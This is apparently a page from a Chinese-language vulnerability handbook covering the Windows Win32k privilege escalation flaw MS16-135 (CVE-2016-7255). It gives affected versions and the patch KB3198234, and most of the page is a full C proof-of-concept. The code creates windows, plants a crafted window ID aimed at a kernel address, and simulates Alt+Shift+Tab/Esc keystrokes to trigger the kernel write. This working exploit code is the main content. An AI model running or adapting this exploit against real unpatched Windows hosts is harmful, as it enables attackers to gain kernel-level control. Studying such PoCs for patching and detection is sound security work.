3.7.5 ms16-135

漏洞名称

Win32k 特权提升漏洞(MS16-135)(CVE-2016-7255)

漏洞等级

高危

漏洞描述

如果 Windows 内核模式驱动程序无法正确处理内存中对象,则会存在多个特权提升漏洞。成功利用此漏洞的攻击者可以在内核模式下运行任意代码。攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

攻击者必须先登录系统,然后才能利用这些漏洞。然后攻击者可以运行一个为利用这些漏洞而经特殊设计的应用程序,从而控制受影响的系统。该更新通过更正 Windows 内核模式驱动程序处理内存中对象的方式来解决这些漏洞。

漏洞影响

Windows Server2008 R2 SP1,SP2,Windows 7 SP1,Windows 8.1,Windows Server 2012gold和R2,RT的Windows 8.1,Windows 10,1511,和1607,Windows Server 2016

漏洞复现

poc脚本:

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>


#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")

#undef DbgPrint
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
    CHAR* pszDbgBuff = NULL;
    va_list VaList=NULL;
    ULONG ulRet = 0;

    do 
    {
        pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
        if (NULL == pszDbgBuff)
        {
            break;
        }
        RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));

        va_start(VaList,Format);

        _vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);

        DbgPrintEx(77 , 0 , pszDbgBuff );
        OutputDebugStringA(pszDbgBuff);

        va_end(VaList);

    } while (FALSE);

    if (NULL != pszDbgBuff)
    {
        HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
        pszDbgBuff = NULL;
    }

    return ulRet;
}


 int _sim_key_down(WORD wKey)
 {
     INPUT stInput = {0};

     do 
     {
         stInput.type = INPUT_KEYBOARD;
         stInput.ki.wVk = wKey;
         stInput.ki.dwFlags = 0;

         SendInput(1 , &stInput , sizeof(stInput) );

     } while (FALSE);

     return 0;
}

 int _sim_key_up(WORD wKey)
 {
     INPUT stInput = {0};

     do 
     {
         stInput.type = INPUT_KEYBOARD;
         stInput.ki.wVk = wKey;
         stInput.ki.dwFlags = KEYEVENTF_KEYUP;

         SendInput(1 , &stInput , sizeof(stInput) );

     } while (FALSE);

     return 0;
}

 int _sim_alt_shift_esc()
 {
     int i = 0;

     do 
     {
         _sim_key_down( VK_MENU );
         _sim_key_down( VK_SHIFT );  


        _sim_key_down( VK_ESCAPE);
        _sim_key_up( VK_ESCAPE);

        _sim_key_down( VK_ESCAPE);
        _sim_key_up( VK_ESCAPE);

         _sim_key_up( VK_MENU );
         _sim_key_up( VK_SHIFT );        


     } while (FALSE);

     return 0;
}



 int _sim_alt_shift_tab(int nCount)
 {
     int i = 0;
     HWND hWnd = NULL;


     int nFinalRet = -1;

     do 
     {
         _sim_key_down( VK_MENU );
         _sim_key_down( VK_SHIFT );  


         for ( i = 0; i < nCount ; i++)
         {
             _sim_key_down( VK_TAB);
             _sim_key_up( VK_TAB);

             Sleep(1000);

         }


        _sim_key_up( VK_MENU );
         _sim_key_up( VK_SHIFT );    
     } while (FALSE);

     return nFinalRet;
}



int or_address_value_4(__in void* pAddress)
{
    WNDCLASSEXW stWC = {0};

    HWND    hWndParent = NULL;
    HWND    hWndChild = NULL;

    WCHAR*  pszClassName = L"cve-2016-7255";
    WCHAR*  pszTitleName = L"cve-2016-7255";

    void*   pId = NULL;
    MSG     stMsg = {0};

    do 
    {

        stWC.cbSize = sizeof(stWC);
        stWC.lpfnWndProc = DefWindowProcW;
        stWC.lpszClassName = pszClassName;

        if ( 0 == RegisterClassExW(&stWC) )
        {
            break;
        }

        hWndParent = CreateWindowExW(
            0,
            pszClassName,
            NULL,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE,
            0,
            0,
            360,
            360,
            NULL,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndParent)
        {
            break;
        }

        hWndChild = CreateWindowExW(
            0,
            pszClassName,
            pszTitleName,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
            0,
            0,
            160,
            160,
            hWndParent,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndChild)
        {
            break;
        }

        #ifdef _WIN64
            pId = ( (UCHAR*)pAddress - 0x28 ); 
        #else
            pId = ( (UCHAR*)pAddress - 0x14); 
        #endif // #ifdef _WIN64

        SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );

        DbgPrint("hWndChild = 0x%p\n" , hWndChild);
        DebugBreak();

        ShowWindow(hWndParent , SW_SHOWNORMAL);

        SetParent(hWndChild , GetDesktopWindow() );

        SetForegroundWindow(hWndChild);

        _sim_alt_shift_tab(4);

        SwitchToThisWindow(hWndChild , TRUE);

        _sim_alt_shift_esc();


        while( GetMessage(&stMsg , NULL , 0 , 0) )
        {   
            TranslateMessage(&stMsg);
            DispatchMessage(&stMsg);
        }


    } while (FALSE);

    if ( NULL != hWndParent )
    {
        DestroyWindow(hWndParent);
        hWndParent = NULL;
    }

    if ( NULL != hWndChild )
    {
        DestroyWindow(hWndChild);
        hWndChild = NULL;
    }

    UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );

    return 0;
}

int __cdecl wmain(int nArgc, WCHAR** Argv)
{
    do 
    {
        or_address_value_4( (void*)0xFFFFFFFF );
    } while (FALSE);

    return 0;
}

提权

测试环境:windows server 2008 r2

漏洞修复

补丁号:KB3198234

Last updated